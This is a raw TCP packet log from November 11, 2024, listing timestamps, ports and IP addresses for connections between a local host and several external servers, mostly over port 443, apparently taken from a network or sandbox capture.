Nov 11, 2024 19:17:36.018889904 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.018923044 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.018979073 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.018986940 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.019093990 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.020999908 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.023293018 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.023325920 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.023346901 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.023355007 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.023408890 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.025938988 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.027473927 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.027503014 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.027546883 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.027554035 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.027595997 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.029633045 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.031594038 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.031640053 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.031656027 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.031662941 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.031721115 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.034071922 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.077721119 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.077729940 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.090969086 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.091083050 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.091267109 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.091274977 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.091336012 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:37.357291937 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.357322931 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.357384920 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.357568026 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.357580900 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.647327900 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:37.647380114 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:37.647495985 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:37.647871971 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:37.647888899 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:37.950988054 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.951193094 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.951220036 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.952280045 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.952344894 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.954355001 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.954417944 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.954510927 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:37.954519987 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:37.999516964 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.124033928 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124079943 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124128103 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124147892 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.124154091 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124176025 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124196053 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.124208927 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.124248981 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.124258041 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.130522013 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.130578995 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.130589962 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.171036005 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.171068907 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.186729908 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:38.186789036 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:38.193531990 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.193639994 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.205365896 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.205409050 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.205442905 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.205472946 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.205498934 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.205512047 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.207484007 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.207506895 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.207539082 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.207546949 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.207587957 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.213284969 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.219726086 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.219753981 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.219784021 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.219806910 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.219856024 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.225352049 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.231017113 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.231045961 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.231086016 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.231100082 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.231146097 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.236675024 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.242270947 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.242325068 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.242355108 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.247998953 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.248025894 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.248390913 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.265562057 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.265625000 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.265640020 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286385059 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286422014 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286451101 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286489010 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.286525011 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286559105 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.286680937 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286715031 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286729097 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.286736965 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.286827087 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.286834955 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.287470102 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.287585974 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.287595987 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.288464069 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.288492918 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.288520098 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.288533926 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.288574934 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.291731119 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.295836926 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.295860052 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.295901060 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.295927048 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.295984983 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.296041012 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.300007105 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.304070950 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.304102898 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.304131031 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.304156065 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.304198980 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.308161020 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.312104940 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.312171936 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.312199116 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.316196918 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.316230059 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.316263914 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.316284895 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.316329956 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.320203066 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.324320078 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.324346066 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.324385881 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.324413061 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.324455976 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.328949928 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.332506895 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.332541943 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.332581997 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.332607031 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.332664967 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.336384058 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.347289085 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.347332001 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.347361088 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.347382069 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.347409964 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.347445965 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.367439985 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.367472887 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.367500067 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.367523909 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.367572069 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.367605925 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.367634058 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.367659092 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.367794991 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368083954 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368129015 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.368133068 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368145943 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368185043 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.368192911 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368874073 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368913889 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368918896 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.368927002 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.368963003 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.370882988 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.373198986 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.373225927 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.373272896 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.373298883 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.373339891 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.375360012 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.416739941 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.416770935 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.456065893 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.456885099 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.456953049 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.457165003 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.503320932 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.505595922 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:38.505640030 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:38.505717039 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:38.506231070 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:38.506243944 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:38.523761988 CET	49714	443	192.168.2.7	142.250.184.206
Nov 11, 2024 19:17:38.523797035 CET	443	49714	142.250.184.206	192.168.2.7
Nov 11, 2024 19:17:38.953845978 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:38.953902006 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:38.954027891 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:38.954263926 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:38.954281092 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:38.986567974 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986593962 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986607075 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986619949 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986653090 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986668110 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.986695051 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986715078 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986731052 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.986740112 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986753941 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986773968 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.986783028 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986797094 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986803055 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.986805916 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986854076 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.986860991 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.986900091 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.993315935 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.993359089 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.993390083 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.993406057 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.993433952 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.993452072 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.995089054 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.995114088 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.995165110 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.995183945 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.995203972 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.995233059 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.997886896 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.997911930 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.997983932 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.998001099 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.998042107 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.999718904 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.999741077 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.999797106 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:38.999809980 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:38.999874115 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.002441883 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.002470970 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.002523899 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.002542019 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.002566099 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.002588034 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.004184008 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.004204988 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.004266977 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.004283905 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.004329920 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.006365061 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006392956 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006443024 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.006458044 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006485939 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.006525993 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.006759882 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006781101 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006839991 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.006846905 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.006887913 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.007930994 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.007953882 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.007988930 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.007997036 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008029938 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008050919 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008431911 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008449078 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008497953 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008505106 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008513927 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008544922 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008583069 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008622885 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008774042 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008791924 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.008805990 CET	49715	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.008811951 CET	443	49715	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.065490007 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.065550089 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.065623045 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.067794085 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.067847967 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.067914963 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.069474936 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.069505930 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.069551945 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.070065975 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.070084095 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.070224047 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.070247889 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.070445061 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.070457935 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.071732998 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.071762085 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.071822882 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.072089911 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.072104931 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.072191000 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.072222948 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.072293997 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.072418928 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.072432041 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.096946001 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.097275019 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.097312927 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.097645044 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.097714901 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.098323107 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.098407984 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.103004932 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.103085041 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.103199959 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.103213072 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.103240013 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.147342920 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.170696974 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.309766054 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.358484030 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.358526945 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.359472036 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.359603882 CET	443	49717	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:39.359678984 CET	49717	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:39.581726074 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:39.581796885 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:39.581927061 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:39.584790945 CET	49725	443	192.168.2.7	184.28.90.27
